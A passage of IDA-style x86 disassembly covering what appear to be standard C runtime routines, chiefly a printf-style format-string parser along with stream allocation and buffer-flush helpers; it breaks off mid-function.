sub_41FD3D	proc near		; CODE XREF: sub_41BE82p
		mov	edx, dword_4DD020
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41FDAE
		mov	ebx, dword_4DC01C
		mov	edi, ebx


loc_41FD59:				; CODE XREF: sub_41FD3D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41FD74
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41FD6F
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41FD59
		jmp	short loc_41FDAE
; ---------------------------------------------------------------------------


loc_41FD6F:				; CODE XREF: sub_41FD3D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41FD98
; ---------------------------------------------------------------------------


loc_41FD74:				; CODE XREF: sub_41FD3D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BEB5
		pop	ecx
		mov	ecx, dword_4DC01C
		mov	[edi+ecx], eax
		mov	eax, dword_4DC01C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41FDAE
		mov	esi, edi


loc_41FD98:				; CODE XREF: sub_41FD3D+35j
		cmp	esi, ebp
		jz	short loc_41FDAE
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41FDAE:				; CODE XREF: sub_41FD3D+12j
					; sub_41FD3D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41FD3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDB5	proc near		; CODE XREF: sub_41C0CE+17p
					; sub_41C0CE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41FDD3
		mov	ecx, off_43CE78
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41FE25
; ---------------------------------------------------------------------------


loc_41FDD3:				; CODE XREF: sub_41FDB5+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43CE78
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41FDF8
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41FE01
; ---------------------------------------------------------------------------


loc_41FDF8:				; CODE XREF: sub_41FDB5+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41FE01:				; CODE XREF: sub_41FDB5+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4244F4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FE21
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FE21:				; CODE XREF: sub_41FDB5+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41FE25:				; CODE XREF: sub_41FDB5+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41FDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE2A	proc near		; CODE XREF: sub_41C266+46p
					; sub_41C360+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41FF33
		test	al, 40h
		jnz	loc_41FF33
		test	al, 1
		jz	short loc_41FE62
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41FF33
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41FE62:				; CODE XREF: sub_41FE2A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41FE9C
		cmp	esi, offset dword_43D588
		jz	short loc_41FE8A
		cmp	esi, offset dword_43D5A8
		jnz	short loc_41FE95


loc_41FE8A:				; CODE XREF: sub_41FE2A+56j
		push	ebx
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jnz	short loc_41FE9C


loc_41FE95:				; CODE XREF: sub_41FE2A+5Ej
		push	esi
		call	sub_4241F7
		pop	ecx


loc_41FE9C:				; CODE XREF: sub_41FE2A+4Ej
					; sub_41FE2A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41FF09
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41FECC
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41FEFF
; ---------------------------------------------------------------------------


loc_41FECC:				; CODE XREF: sub_41FE2A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41FEE7
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41FEEC
; ---------------------------------------------------------------------------


loc_41FEE7:				; CODE XREF: sub_41FE2A+A5j
		mov	eax, offset dword_43D4D0


loc_41FEEC:				; CODE XREF: sub_41FE2A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41FEFF
		push	2
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch


loc_41FEFF:				; CODE XREF: sub_41FE2A+A0j
					; sub_41FE2A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41FF1D
; ---------------------------------------------------------------------------


loc_41FF09:				; CODE XREF: sub_41FE2A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41FF1D:				; CODE XREF: sub_41FE2A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41FF29
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41FF38
; ---------------------------------------------------------------------------


loc_41FF29:				; CODE XREF: sub_41FE2A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41FF3B
; ---------------------------------------------------------------------------


loc_41FF33:				; CODE XREF: sub_41FE2A+10j
					; sub_41FE2A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41FF38:				; CODE XREF: sub_41FE2A+FDj
		or	eax, 0FFFFFFFFh


loc_41FF3B:				; CODE XREF: sub_41FE2A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41FE2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF3F	proc near		; CODE XREF: sub_41C266+29p
					; sub_41C360+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_420658
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41FF73
; ---------------------------------------------------------------------------


loc_41FF6B:				; CODE XREF: sub_41FF3F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41FF73:				; CODE XREF: sub_41FF3F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_420658
		cmp	bl, 20h
		jl	short loc_41FF94
		cmp	bl, 78h
		jg	short loc_41FF94
		movsx	eax, bl
		mov	al, [eax+42771Ch]
		and	eax, 0Fh
		jmp	short loc_41FF96
; ---------------------------------------------------------------------------


loc_41FF94:				; CODE XREF: sub_41FF3F+40j
					; sub_41FF3F+45j
		xor	eax, eax


loc_41FF96:				; CODE XREF: sub_41FF3F+53j
		movsx	eax, byte_42773C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_420647	; default
		jmp	off_420660[eax*4] ; switch jump


loc_41FFB4:				; DATA XREF: ___:off_420660o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFCF:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 2
		sub	eax, 20h
		jz	short loc_420012
		sub	eax, 3
		jz	short loc_420009
		sub	eax, 8
		jz	short loc_420000
		dec	eax
		dec	eax
		jz	short loc_41FFF7
		sub	eax, 3
		jnz	loc_420647	; default
		or	[ebp+var_4], 8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFF7:				; CODE XREF: sub_41FF3F+A4j
		or	[ebp+var_4], 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420000:				; CODE XREF: sub_41FF3F+A0j
		or	[ebp+var_4], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420009:				; CODE XREF: sub_41FF3F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FF3F+96j
		or	[ebp+var_4], 2
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42001B:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 3
		jnz	short loc_420043
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_420647	; default
		or	[ebp+var_4], 4
		neg	eax


loc_42003B:				; CODE XREF: sub_41FF3F+111j
		mov	[ebp+var_20], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420043:				; CODE XREF: sub_41FF3F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]


loc_42004C:				; DATA XREF: ___:00432860o
					; ___:0043286Co
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_42003B
; ---------------------------------------------------------------------------


loc_420052:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	[ebp+var_10], edx ; jumptable 0041FFAD case 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42005A:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 5
		jnz	short loc_42007D
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_420647	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42007D:				; CODE XREF: sub_41FF3F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42008F:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 49h		; jumptable 0041FFAD case 6
		jz	short loc_4200C2
		cmp	bl, 68h
		jz	short loc_4200B9
		cmp	bl, 6Ch
		jz	short loc_4200B0
		cmp	bl, 77h
		jnz	loc_420647	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B0:				; CODE XREF: sub_41FF3F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_41FF3F+158j
		or	[ebp+var_4], 20h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200C2:				; CODE XREF: sub_41FF3F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4200DB
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4200DB
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200DB:				; CODE XREF: sub_41FF3F+186j
					; sub_41FF3F+18Cj
		mov	[ebp+var_30], edx


loc_4200DE:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	ecx, off_43CE78	; jumptable 0041FFAD case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42010A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_42010A:				; CODE XREF: sub_41FF3F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		add	esp, 0Ch
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420122:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 7
		cmp	eax, 67h
		jg	loc_42034A
		cmp	eax, 65h
		jge	loc_4201CD
		cmp	eax, 58h
		jg	loc_42022B
		jz	loc_4203BE
		sub	eax, 43h
		jz	loc_4201EE
		dec	eax
		dec	eax
		jz	short loc_4201C3
		dec	eax
		dec	eax
		jz	short loc_4201C3
		sub	eax, 0Ch
		jnz	loc_420549
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_42016C
		or	byte ptr [ebp+var_4+1],	8


loc_42016C:				; CODE XREF: sub_41FF3F+227j
					; sub_41FF3F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_420179
		mov	esi, 7FFFFFFFh


loc_420179:				; CODE XREF: sub_41FF3F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_420392
		test	ecx, ecx
		jnz	short loc_4201A1
		mov	ecx, off_43D094
		mov	[ebp+var_8], ecx


loc_4201A1:				; CODE XREF: sub_41FF3F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4201AA:				; CODE XREF: sub_41FF3F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_420389
		cmp	word ptr [eax],	0
		jz	loc_420389
		inc	eax
		inc	eax
		jmp	short loc_4201AA
; ---------------------------------------------------------------------------


loc_4201C3:				; CODE XREF: sub_41FF3F+212j
					; sub_41FF3F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4201CD:				; CODE XREF: sub_41FF3F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4202B1
		mov	[ebp+var_10], 6
		jmp	loc_4202BF
; ---------------------------------------------------------------------------


loc_4201EE:				; CODE XREF: sub_41FF3F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4201FA
		or	byte ptr [ebp+var_4+1],	8


loc_4201FA:				; CODE XREF: sub_41FF3F+2B5j
					; sub_41FF3F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_420241
		call	sub_42073B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_424663
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_420254
		mov	[ebp+var_28], 1
		jmp	short loc_420254
; ---------------------------------------------------------------------------


loc_42022B:				; CODE XREF: sub_41FF3F+1FBj
		sub	eax, 5Ah
		jz	short loc_420262
		sub	eax, 9
		jz	short loc_4201FA
		dec	eax
		jz	loc_420424
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420241:				; CODE XREF: sub_41FF3F+2C5j
		call	sub_42071E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_420254:				; CODE XREF: sub_41FF3F+2E1j
					; sub_41FF3F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420262:				; CODE XREF: sub_41FF3F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		jz	short loc_4202A3
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4202A3
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_420294
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420294:				; CODE XREF: sub_41FF3F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4202A3:				; CODE XREF: sub_41FF3F+32Fj
					; sub_41FF3F+336j
		mov	eax, off_43D090
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42033F
; ---------------------------------------------------------------------------


loc_4202B1:				; CODE XREF: sub_41FF3F+29Dj
		jnz	short loc_4202BF
		cmp	bl, 67h
		jnz	short loc_4202BF
		mov	[ebp+var_10], 1


loc_4202BF:				; CODE XREF: sub_41FF3F+2AAj
					; sub_41FF3F:loc_4202B1j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43D420
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_420311
		cmp	[ebp+var_10], 0
		jnz	short loc_420311
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D42C
		pop	ecx


loc_420311:				; CODE XREF: sub_41FF3F+3BCj
					; sub_41FF3F+3C2j
		cmp	bl, 67h
		jnz	short loc_420328
		test	esi, esi
		jnz	short loc_420328
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D424
		pop	ecx


loc_420328:				; CODE XREF: sub_41FF3F+3D5j
					; sub_41FF3F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42033E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_42033E:				; CODE XREF: sub_41FF3F+3F0j
		push	edi


loc_42033F:				; CODE XREF: sub_41FF3F+36Dj
		call	sub_41B9C0
		pop	ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_42034A:				; CODE XREF: sub_41FF3F+1E9j
		sub	eax, 69h
		jz	loc_420424
		sub	eax, 5
		jz	loc_4203FA
		dec	eax
		jz	loc_4203E7
		dec	eax
		jz	short loc_4203B7
		sub	eax, 3
		jz	loc_42016C
		dec	eax
		dec	eax
		jz	loc_420428
		sub	eax, 3
		jnz	loc_420549
		mov	[ebp+var_2C], 27h
		jmp	short loc_4203C5
; ---------------------------------------------------------------------------


loc_420389:				; CODE XREF: sub_41FF3F+270j
					; sub_41FF3F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_420392:				; CODE XREF: sub_41FF3F+24Fj
		test	ecx, ecx
		jnz	short loc_42039F
		mov	ecx, off_43D090
		mov	[ebp+var_8], ecx


loc_42039F:				; CODE XREF: sub_41FF3F+455j
		mov	eax, ecx


loc_4203A1:				; CODE XREF: sub_41FF3F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4203B0
		cmp	byte ptr [eax],	0
		jz	short loc_4203B0
		inc	eax
		jmp	short loc_4203A1
; ---------------------------------------------------------------------------


loc_4203B0:				; CODE XREF: sub_41FF3F+467j
					; sub_41FF3F+46Cj
		sub	eax, ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4203B7:				; CODE XREF: sub_41FF3F+425j
		mov	[ebp+var_10], 8


loc_4203BE:				; CODE XREF: sub_41FF3F+201j
		mov	[ebp+var_2C], 7


loc_4203C5:				; CODE XREF: sub_41FF3F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42042F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203E7:				; CODE XREF: sub_41FF3F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42042F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203FA:				; CODE XREF: sub_41FF3F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_420413
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_420418
; ---------------------------------------------------------------------------


loc_420413:				; CODE XREF: sub_41FF3F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_420418:				; CODE XREF: sub_41FF3F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420424:				; CODE XREF: sub_41FF3F+2F7j
					; sub_41FF3F+40Ej
		or	[ebp+var_4], 40h


loc_420428:				; CODE XREF: sub_41FF3F+432j
		mov	[ebp+var_C], 0Ah


loc_42042F:				; CODE XREF: sub_41FF3F+491j
					; sub_41FF3F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_420441
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42072B
		pop	ecx
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_420441:				; CODE XREF: sub_41FF3F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_420468
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42045D
		call	sub_42071E
		pop	ecx
		movsx	eax, ax


loc_42045A:				; CODE XREF: sub_41FF3F+527j
					; sub_41FF3F+539j
		cdq
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_42045D:				; CODE XREF: sub_41FF3F+510j
		call	sub_42071E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_420468:				; CODE XREF: sub_41FF3F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42047A
		call	sub_42071E
		pop	ecx
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_42047A:				; CODE XREF: sub_41FF3F+531j
		call	sub_42071E
		pop	ecx
		xor	edx, edx


loc_420482:				; CODE XREF: sub_41FF3F+500j
					; sub_41FF3F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4204A3
		test	edx, edx
		jg	short loc_4204A3
		jl	short loc_420492
		test	eax, eax
		jnb	short loc_4204A3


loc_420492:				; CODE XREF: sub_41FF3F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4204A7
; ---------------------------------------------------------------------------


loc_4204A3:				; CODE XREF: sub_41FF3F+547j
					; sub_41FF3F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4204A7:				; CODE XREF: sub_41FF3F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4204B0
		and	edi, 0


loc_4204B0:				; CODE XREF: sub_41FF3F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4204BF
		mov	[ebp+var_10], 1
		jmp	short loc_4204C3
; ---------------------------------------------------------------------------


loc_4204BF:				; CODE XREF: sub_41FF3F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4204C3:				; CODE XREF: sub_41FF3F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4204CD
		and	[ebp+var_1C], 0


loc_4204CD:				; CODE XREF: sub_41FF3F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4204D3:				; CODE XREF: sub_41FF3F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4204E3
		mov	eax, esi
		or	eax, edi
		jz	short loc_42051E


loc_4204E3:				; CODE XREF: sub_41FF3F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DD20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DCB0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_420514
		add	ebx, [ebp+var_2C]


loc_420514:				; CODE XREF: sub_41FF3F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4204D3
; ---------------------------------------------------------------------------


loc_42051E:				; CODE XREF: sub_41FF3F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_420549
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_42053C
		test	eax, eax
		jnz	short loc_420549


loc_42053C:				; CODE XREF: sub_41FF3F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_420546:				; CODE XREF: sub_41FF3F+35Fj
					; sub_41FF3F+406j ...
		mov	[ebp+var_C], eax


loc_420549:				; CODE XREF: sub_41FF3F+21Bj
					; sub_41FF3F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_420647	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_420581
		test	bh, 1
		jz	short loc_420566
		mov	[ebp+var_16], 2Dh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420566:				; CODE XREF: sub_41FF3F+61Fj
		test	bl, 1
		jz	short loc_420571
		mov	[ebp+var_16], 2Bh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420571:				; CODE XREF: sub_41FF3F+62Aj
		test	bl, 2
		jz	short loc_420581
		mov	[ebp+var_16], 20h


loc_42057A:				; CODE XREF: sub_41FF3F+625j
					; sub_41FF3F+630j
		mov	[ebp+var_1C], 1


loc_420581:				; CODE XREF: sub_41FF3F+61Aj
					; sub_41FF3F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4205A1
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_4205A1:				; CODE XREF: sub_41FF3F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		test	bl, 8
		jz	short loc_4205D3
		test	bl, 4
		jnz	short loc_4205D3
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4206B5
		add	esp, 10h


loc_4205D3:				; CODE XREF: sub_41FF3F+67Bj
					; sub_41FF3F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_42061A
		cmp	[ebp+var_C], 0
		jle	short loc_42061A
		mov	eax, [ebp+var_C]
